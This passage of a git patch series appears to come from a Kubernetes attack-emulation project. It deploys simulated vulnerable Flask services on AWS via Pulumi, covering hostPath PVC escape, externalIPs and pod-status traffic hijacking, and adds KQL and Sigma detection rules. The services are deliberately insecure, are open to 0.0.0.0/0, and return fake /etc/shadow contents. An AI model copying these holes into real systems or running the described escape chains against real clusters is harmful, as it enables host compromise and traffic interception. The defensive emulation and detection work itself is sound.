aws.ec2.Subnet(f"mayatrail-k8s-pvc-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.130.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-pvc-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-pvc-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-pvc-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +HOST_FILESYSTEM = { + "/etc/passwd": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin", + "/etc/shadow": "root:$6$vulnerable_root_hash:19500:0:99999:7:::", + "/etc/kubernetes/admin.conf": "apiVersion: v1\\nkind: Config\\nclusters:\\n- name: minikube" +} + +RESOURCES = { + "pv": [], + "pvc": [], + "pods": [] +} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/api/v1/persistentvolumes', methods=['POST']) +def create_pv(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + host_path = data.get("spec", {}).get("hostPath", {}).get("path", "") + if not name or not host_path: + return "Bad request", 400 + pv = {"name": name, "hostPath": host_path, "status": "Available"} + RESOURCES["pv"].append(pv) + return jsonify({"status": "Created", "pv": pv}), 201 + +@app.route('/api/v1/namespaces/default/persistentvolumeclaims', methods=['POST']) +def create_pvc(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + volume_name = data.get("spec", {}).get("volumeName", "") + if not name: + return "Bad request", 400 + bound_host_path = None + for pv in RESOURCES["pv"]: + if pv["name"] == volume_name or not volume_name: + bound_host_path = pv["hostPath"] + pv["status"] = "Bound" + break + pvc = {"name": name, "volumeName": volume_name, "boundHostPath": bound_host_path, "status": "Bound"} + RESOURCES["pvc"].append(pvc) + return jsonify({"status": "Created", "pvc": pvc}), 201 + +@app.route('/api/v1/namespaces/default/pods', methods=['POST']) +def create_pod(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + if not name: + return "Bad request", 400 + volumes = data.get("spec", {}).get("volumes", []) + pvc_claim = None + for vol in volumes: + pvc_ref = vol.get("persistentVolumeClaim", {}).get("claimName") + if pvc_ref: + pvc_claim = pvc_ref + break + bound_host_path = None + for pvc in RESOURCES["pvc"]: + if pvc["name"] == pvc_claim: + bound_host_path = pvc.get("boundHostPath") + break + pod = {"name": name, "pvcClaim": pvc_claim, "mountedHostPath": bound_host_path, "status": "Running"} + RESOURCES["pods"].append(pod) + return jsonify({"status": "Created", "pod": pod}), 201 + +@app.route('/pod-exec', methods=['POST']) +def pod_exec(): + data = request.json or {} + pod_name = data.get("pod", "") + cmd = data.get("cmd", "") + pod = next((p for p in RESOURCES["pods"] if p["name"] == pod_name), None) + if not pod: + return "Pod not found", 404 + host_path = pod.get("mountedHostPath", "") + if "passwd" in cmd and host_path == "/etc": + output = HOST_FILESYSTEM.get("/etc/passwd", "") + return jsonify({"pod": pod_name, "cmd": cmd, "output": output, "note": "Read from host path /etc via PVC mount"}) + if "shadow" in cmd and host_path == "/etc": + output = HOST_FILESYSTEM.get("/etc/shadow", "") + return jsonify({"pod": pod_name, "cmd": cmd, "output": output, "note": "Read from host path /etc via PVC mount"}) + return jsonify({"pod": pod_name, "cmd": cmd, "output": "command executed", "mountedHostPath": host_path}) + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-pvc . +docker run -d --name k8s-pvc -p 8080:8080 --restart unless-stopped k8s-pvc +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-pvc-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) From d8d2793babae402a1363b1e23186cf6d968c703f Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 16:59:54 +0530 Subject: [PATCH 06/18] feat: complete k8s_external_ips_mitm attack chain with traffic interception simulation --- .../k8s_external_ips_mitm/infra/__main__.py | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 emulations/k8s_external_ips_mitm/infra/__main__.py diff --git a/emulations/k8s_external_ips_mitm/infra/__main__.py b/emulations/k8s_external_ips_mitm/infra/__main__.py new file mode 100644 index 0000000..04d9b0a --- /dev/null +++ b/emulations/k8s_external_ips_mitm/infra/__main__.py @@ -0,0 +1,87 @@ +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_MITM_CVE"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-mitm-vpc-{stack_name}", cidr_block="10.140.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-mitm-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-mitm-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.140.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-mitm-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-mitm-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-mitm-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +RESOURCES = { + "services": [] +} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/api/v1/namespaces/default/services', methods=['POST']) +def create_service(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + external_ips = data.get("spec", {}).get("externalIPs", []) + selector = data.get("spec", {}).get("selector", {}) + if not name or not external_ips: + return "Bad request", 400 + service = {"name": name, "externalIPs": external_ips, "selector": selector} + RESOURCES["services"].append(service) + return jsonify({"status": "Created", "service": service}), 201 + +@app.route('/simulate/victim-traffic', methods=['POST']) +def simulate_victim_traffic(): + data = request.json or {} + destination = data.get("destination", "") + payload = data.get("payload", "") + hijacked_service = next( + (s for s in RESOURCES["services"] if destination in s.get("externalIPs", [])), + None + ) + if not hijacked_service: + return jsonify({"note": "No hijack active for this destination", "destination": destination}), 200 + return jsonify({ + "intended_destination": destination, + "actual_receiver": hijacked_service["selector"].get("app", "attacker-pod"), + "intercepted_payload": payload, + "hijacking_service": hijacked_service["name"], + "note": "kube-proxy redirected traffic via externalIPs rule (CVE-2020-8554)" + }), 200 + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-mitm . +docker run -d --name k8s-mitm -p 8080:8080 --restart unless-stopped k8s-mitm +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-mitm-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) From 9f4e8ec8754a64316c18d3a9f3dd7c60643fd38b Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:02:18 +0530 Subject: [PATCH 07/18] feat: complete k8s_pod_status_mitm attack chain with traffic redirect verification --- .../k8s_pod_status_mitm/infra/__main__.py | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 emulations/k8s_pod_status_mitm/infra/__main__.py diff --git a/emulations/k8s_pod_status_mitm/infra/__main__.py b/emulations/k8s_pod_status_mitm/infra/__main__.py new file mode 100644 index 0000000..6250e64 --- /dev/null +++ b/emulations/k8s_pod_status_mitm/infra/__main__.py @@ -0,0 +1,97 @@ +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_STATUS_MITM"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-stat-vpc-{stack_name}", cidr_block="10.150.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-stat-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-stat-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.150.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-stat-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-stat-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-stat-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +ATTACKER_IP = "10.244.9.99" + +RESOURCES = { + "pod_status": { + "name": "victim-pod", + "podIP": "10.244.1.20", + "podIPs": [{"ip": "10.244.1.20"}] + } +} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/api/v1/namespaces/default/pods/victim-pod/status', methods=['PATCH']) +def patch_status(): + data = request.json or {} + new_ip = data.get("status", {}).get("podIP") + if not new_ip: + return "Bad request: missing status.podIP", 400 + RESOURCES["pod_status"]["podIP"] = new_ip + RESOURCES["pod_status"]["podIPs"] = [{"ip": new_ip}] + return jsonify({ + "apiVersion": "v1", + "kind": "Pod", + "metadata": {"name": "victim-pod", "namespace": "default"}, + "status": RESOURCES["pod_status"] + }) + +@app.route('/simulate/service-traffic', methods=['POST']) +def simulate_service_traffic(): + data = request.json or {} + service = data.get("service", "victim-svc") + payload = data.get("client_payload", "") + current_pod_ip = RESOURCES["pod_status"]["podIP"] + intercepted = (current_pod_ip == ATTACKER_IP) + return jsonify({ + "service": service, + "routed_to_ip": current_pod_ip, + "attacker_ip": ATTACKER_IP, + "intercepted": intercepted, + "intercepted_payload": payload if intercepted else None, + "note": ( + "Traffic hijacked: endpoint now points to attacker-controlled IP" + if intercepted else + "Traffic flowing normally to legitimate pod IP" + ) + }) + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-stat . +docker run -d --name k8s-stat -p 8080:8080 --restart unless-stopped k8s-stat +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-stat-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) From 5c7109f557c525b6df0875a6d9c81aa76137c9f5 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:05:02 +0530 Subject: [PATCH 08/18] feat: add T1069 and T1548 detection rules for k8s_rbac_impersonation --- .../detections/kql_t1069.kql | 23 ++++++++++++ .../detections/kql_t1548.kql | 27 ++++++++++++++ .../detections/sigma_t1069.yml | 30 ++++++++++++++++ .../detections/sigma_t1548.yml | 35 +++++++++++++++++++ 4 files changed, 115 insertions(+) create mode 100644 emulations/k8s_rbac_impersonation/detections/kql_t1069.kql create mode 100644 emulations/k8s_rbac_impersonation/detections/kql_t1548.kql create mode 100644 emulations/k8s_rbac_impersonation/detections/sigma_t1069.yml create mode 100644 emulations/k8s_rbac_impersonation/detections/sigma_t1548.yml diff --git a/emulations/k8s_rbac_impersonation/detections/kql_t1069.kql b/emulations/k8s_rbac_impersonation/detections/kql_t1069.kql new file mode 100644 index 0000000..e0afcfc --- /dev/null +++ b/emulations/k8s_rbac_impersonation/detections/kql_t1069.kql @@ -0,0 +1,23 @@ +// k8s_rbac_impersonation — T1069: Permission Groups Discovery +// Detects SelfSubjectRulesReview creation used to enumerate a service account's +// own RBAC permissions prior to an impersonation attempt. +// +// References: +// https://attack.mitre.org/techniques/T1069/ +// https://kubernetes.io/docs/reference/access-authn-authz/authorization/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "selfsubjectrulesreviews" +| where tostring(log.objectRef.apiGroup) == "authorization.k8s.io" +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + CallerGroups = tostring(log.user.groups), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: SelfSubjectRulesReview — potential RBAC enumeration" +| order by TimeGenerated desc diff --git a/emulations/k8s_rbac_impersonation/detections/kql_t1548.kql b/emulations/k8s_rbac_impersonation/detections/kql_t1548.kql new file mode 100644 index 0000000..b55d004 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/detections/kql_t1548.kql @@ -0,0 +1,27 @@ +// k8s_rbac_impersonation — T1548: Abuse Elevation Control Mechanism +// Detects Kubernetes API requests that succeeded while using impersonation headers, +// where the impersonated identity is not a system: built-in account. +// +// References: +// https://attack.mitre.org/techniques/T1548/ +// https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where isnotempty(tostring(log.impersonatedUser.username)) +| where not (tostring(log.impersonatedUser.username) startswith "system:") +| where toint(log.responseStatus.code) in (200, 201) +| project + TimeGenerated, + OriginalCaller = tostring(log.user.username), + ImpersonatedUser = tostring(log.impersonatedUser.username), + ImpersonatedGroups = tostring(log.impersonatedUser.groups), + Verb = tostring(log.verb), + Resource = tostring(log.objectRef.resource), + Namespace = tostring(log.objectRef.namespace), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Successful API call using impersonation headers — privilege escalation" +| order by TimeGenerated desc diff --git a/emulations/k8s_rbac_impersonation/detections/sigma_t1069.yml b/emulations/k8s_rbac_impersonation/detections/sigma_t1069.yml new file mode 100644 index 0000000..d8eb937 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/detections/sigma_t1069.yml @@ -0,0 +1,30 @@ +title: Kubernetes RBAC Permission Enumeration via SelfSubjectRulesReviews +id: a1b2c3d4-1111-4aaa-b111-aaaaaaaaaaaa +status: experimental +description: | + Detects creation of a SelfSubjectRulesReview resource, which allows a caller + to inspect their own RBAC permissions without triggering wildcard discovery + alarms. Attackers use this to confirm impersonate rights before escalating. + Emulated by MayaTrail k8s_rbac_impersonation (Phase 1). +references: + - https://attack.mitre.org/techniques/T1069/ + - https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.discovery + - attack.t1069 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: selfsubjectrulesreviews + objectRef.apiGroup: authorization.k8s.io + condition: selection +falsepositives: + - kubectl auth can-i --list invocations from legitimate users + - RBAC auditing tooling (e.g. rbac-lookup, kubectl-who-can) +level: medium diff --git a/emulations/k8s_rbac_impersonation/detections/sigma_t1548.yml b/emulations/k8s_rbac_impersonation/detections/sigma_t1548.yml new file mode 100644 index 0000000..327fa90 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/detections/sigma_t1548.yml @@ -0,0 +1,35 @@ +title: Kubernetes API Request with User Impersonation Headers +id: b2c3d4e5-2222-4bbb-b222-bbbbbbbbbbbb +status: experimental +description: | + Detects Kubernetes API requests where the caller uses the Impersonate-User + or Impersonate-Group HTTP headers to assume a higher-privileged identity at + request time. Unlike RoleBinding changes, impersonation leaves no RBAC + configuration trace — the original caller is recorded only in the + impersonatedUser field of the audit log. + Emulated by MayaTrail k8s_rbac_impersonation (Phase 2). +references: + - https://attack.mitre.org/techniques/T1548/ + - https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.privilege_escalation + - attack.t1548 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + impersonatedUser.username|exists: true + responseStatus.code: + - 200 + - 201 + filter_system: + impersonatedUser.username|startswith: 'system:' + condition: selection and not filter_system +falsepositives: + - Cluster operators legitimately using kubectl --as for administrative tasks + - CI/CD systems that use service account impersonation for multi-tenant deployments +level: high From 88e7d2366743bdb442a94dc027cfac1c6046f688 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:06:53 +0530 Subject: [PATCH 09/18] feat: add T1609 and T1611 detection rules for k8s_writable_log_escape --- .../detections/kql_t1609.kql | 25 ++++++++++++++ .../detections/kql_t1611.kql | 28 ++++++++++++++++ .../detections/sigma_t1609.yml | 31 +++++++++++++++++ .../detections/sigma_t1611.yml | 33 +++++++++++++++++++ 4 files changed, 117 insertions(+) create mode 100644 emulations/k8s_writable_log_escape/detections/kql_t1609.kql create mode 100644 emulations/k8s_writable_log_escape/detections/kql_t1611.kql create mode 100644 emulations/k8s_writable_log_escape/detections/sigma_t1609.yml create mode 100644 emulations/k8s_writable_log_escape/detections/sigma_t1611.yml diff --git a/emulations/k8s_writable_log_escape/detections/kql_t1609.kql b/emulations/k8s_writable_log_escape/detections/kql_t1609.kql new file mode 100644 index 0000000..db84d6e --- /dev/null +++ b/emulations/k8s_writable_log_escape/detections/kql_t1609.kql @@ -0,0 +1,25 @@ +// k8s_writable_log_escape — T1609: Container Administration Command +// Detects use of pods/exec subresource, which allows running commands inside +// a container. An attacker exploiting a writable /var/log mount uses exec to +// create a symlink pointing to a sensitive host file before exfiltrating it +// via the Kubelet log proxy endpoint. +// +// References: +// https://attack.mitre.org/techniques/T1609/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "pods" +| where tostring(log.objectRef.subresource) == "exec" +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + PodName = tostring(log.objectRef.name), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: pods/exec — container command execution detected" +| order by TimeGenerated desc diff --git a/emulations/k8s_writable_log_escape/detections/kql_t1611.kql b/emulations/k8s_writable_log_escape/detections/kql_t1611.kql new file mode 100644 index 0000000..0b6621c --- /dev/null +++ b/emulations/k8s_writable_log_escape/detections/kql_t1611.kql @@ -0,0 +1,28 @@ +// k8s_writable_log_escape — T1611: Escape to Host +// Detects access to the Kubelet log proxy endpoint on a node. When a pod +// has mounted host /var/log and created a symlink to /etc/shadow or similar, +// this endpoint traverses the symlink and returns sensitive host file contents +// to any caller with nodes/proxy get rights. +// +// References: +// https://attack.mitre.org/techniques/T1611/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "get" +| where tostring(log.objectRef.resource) == "nodes" +| where tostring(log.objectRef.subresource) == "proxy" +| where tostring(log.requestURI) contains "/proxy/logs" +| extend RequestedPath = extract(@"path=([^&]+)", 1, tostring(log.requestURI)) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + TargetNode = tostring(log.objectRef.name), + RequestedPath, + RequestURI = tostring(log.requestURI), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Kubelet log proxy access — potential host escape via symlink" +| order by TimeGenerated desc diff --git a/emulations/k8s_writable_log_escape/detections/sigma_t1609.yml b/emulations/k8s_writable_log_escape/detections/sigma_t1609.yml new file mode 100644 index 0000000..c5ca5bc --- /dev/null +++ b/emulations/k8s_writable_log_escape/detections/sigma_t1609.yml @@ -0,0 +1,31 @@ +title: Kubernetes Pod Exec — Container Administration Command +id: c3d4e5f6-3333-4ccc-b333-cccccccccccc +status: experimental +description: | + Detects exec access into a running pod container via the Kubernetes API + (pods/exec subresource). Attackers use pod exec to run commands inside + a compromised container, such as creating symlinks in writable host-path + mounts to set up host escape chains. + Emulated by MayaTrail k8s_writable_log_escape (Phase 1). +references: + - https://attack.mitre.org/techniques/T1609/ + - https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.execution + - attack.t1609 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: pods + objectRef.subresource: exec + condition: selection +falsepositives: + - Legitimate debugging sessions by cluster operators (kubectl exec) + - CI/CD pipelines running smoke-test commands inside pods +level: medium diff --git a/emulations/k8s_writable_log_escape/detections/sigma_t1611.yml b/emulations/k8s_writable_log_escape/detections/sigma_t1611.yml new file mode 100644 index 0000000..8acc90a --- /dev/null +++ b/emulations/k8s_writable_log_escape/detections/sigma_t1611.yml @@ -0,0 +1,33 @@ +title: Kubernetes Kubelet Log Proxy Access — Potential Host File Exfiltration +id: d4e5f6a7-4444-4ddd-b444-dddddddddddd +status: experimental +description: | + Detects GET requests to the Kubernetes node proxy logs endpoint + (/api/v1/nodes/{node}/proxy/logs). If a container has mounted the host + /var/log directory and created a symlink to a sensitive file, a caller with + get rights on the nodes/proxy subresource can read arbitrary host filesystem + content through this endpoint. + Emulated by MayaTrail k8s_writable_log_escape (Phase 2). +references: + - https://attack.mitre.org/techniques/T1611/ + - https://sysdig.com/blog/how-to-detect-kubernetes-vulnerability-cve-2021-25741/ +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.privilege_escalation + - attack.t1611 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: get + objectRef.resource: nodes + objectRef.subresource: proxy + requestURI|contains: '/proxy/logs' + condition: selection +falsepositives: + - Legitimate log collection agents that use the Kubelet log API + - Cluster monitoring tools reading container stdout logs via node proxy +level: high From 281970a79ff223be46dcff417f1649c099f69fb7 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:09:05 +0530 Subject: [PATCH 10/18] feat: add T1211 and T1611 detection rules for k8s_pvc_psa_bypass --- .../detections/kql_t1211.kql | 26 +++++++++++++++ .../detections/kql_t1611.kql | 30 +++++++++++++++++ .../detections/sigma_t1211.yml | 31 +++++++++++++++++ .../detections/sigma_t1611.yml | 33 +++++++++++++++++++ 4 files changed, 120 insertions(+) create mode 100644 emulations/k8s_pvc_psa_bypass/detections/kql_t1211.kql create mode 100644 emulations/k8s_pvc_psa_bypass/detections/kql_t1611.kql create mode 100644 emulations/k8s_pvc_psa_bypass/detections/sigma_t1211.yml create mode 100644 emulations/k8s_pvc_psa_bypass/detections/sigma_t1611.yml diff --git a/emulations/k8s_pvc_psa_bypass/detections/kql_t1211.kql b/emulations/k8s_pvc_psa_bypass/detections/kql_t1211.kql new file mode 100644 index 0000000..341de4c --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/detections/kql_t1211.kql @@ -0,0 +1,26 @@ +// k8s_pvc_psa_bypass — T1211: Exploitation for Defense Evasion +// Detects creation of PersistentVolumes. In clusters relying on PSA, +// an attacker creates a PV with a hostPath spec to bypass pod-level +// security policies. Flag all PV creations for review, especially those +// where requestObject contains a hostPath field. +// +// References: +// https://attack.mitre.org/techniques/T1211/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "persistentvolumes" +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend HostPath = tostring(requestObj.spec.hostPath.path) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + PVName = tostring(log.objectRef.name), + HostPath, + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: PersistentVolume created — verify hostPath is not sensitive" +| order by TimeGenerated desc diff --git a/emulations/k8s_pvc_psa_bypass/detections/kql_t1611.kql b/emulations/k8s_pvc_psa_bypass/detections/kql_t1611.kql new file mode 100644 index 0000000..2e3c1a6 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/detections/kql_t1611.kql @@ -0,0 +1,30 @@ +// k8s_pvc_psa_bypass — T1611: Escape to Host +// Detects pod creation outside system namespaces that references a PVC volume. +// When the bound PV uses a hostPath spec, this pod effectively mounts the host +// filesystem, achieving container escape despite PSA controls. +// Correlate with PersistentVolume creation (T1211) in the same session. +// +// References: +// https://attack.mitre.org/techniques/T1611/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "pods" +| where tostring(log.objectRef.namespace) !in ("kube-system", "kube-public") +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend volumes = requestObj.spec.volumes +| mv-expand Volume = volumes +| where isnotempty(Volume.persistentVolumeClaim.claimName) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + PodName = tostring(log.objectRef.name), + PVCClaim = tostring(Volume.persistentVolumeClaim.claimName), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Pod with PVC volume created — correlate with hostPath PV for escape chain" +| order by TimeGenerated desc diff --git a/emulations/k8s_pvc_psa_bypass/detections/sigma_t1211.yml b/emulations/k8s_pvc_psa_bypass/detections/sigma_t1211.yml new file mode 100644 index 0000000..3b25294 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/detections/sigma_t1211.yml @@ -0,0 +1,31 @@ +title: Kubernetes HostPath PersistentVolume Created — PSA Bypass Indicator +id: e5f6a7b8-5555-4eee-b555-eeeeeeeeeeee +status: experimental +description: | + Detects creation of a PersistentVolume with a hostPath spec. Pod Security + Admission (PSA) only inspects Pod specs at admission time and does not audit + the PV/PVC storage provisioning layer. An attacker can create a PV pointing + to a sensitive host path and later bind a pod to it, bypassing PSA baseline + and restricted policies entirely. + Emulated by MayaTrail k8s_pvc_psa_bypass (Phase 1). +references: + - https://attack.mitre.org/techniques/T1211/ + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.defense_evasion + - attack.t1211 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: persistentvolumes + condition: selection +falsepositives: + - Legitimate cluster storage administrators provisioning storage + - Static provisioners creating PVs for NFS, local, or CSI drivers +level: medium diff --git a/emulations/k8s_pvc_psa_bypass/detections/sigma_t1611.yml b/emulations/k8s_pvc_psa_bypass/detections/sigma_t1611.yml new file mode 100644 index 0000000..c737106 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/detections/sigma_t1611.yml @@ -0,0 +1,33 @@ 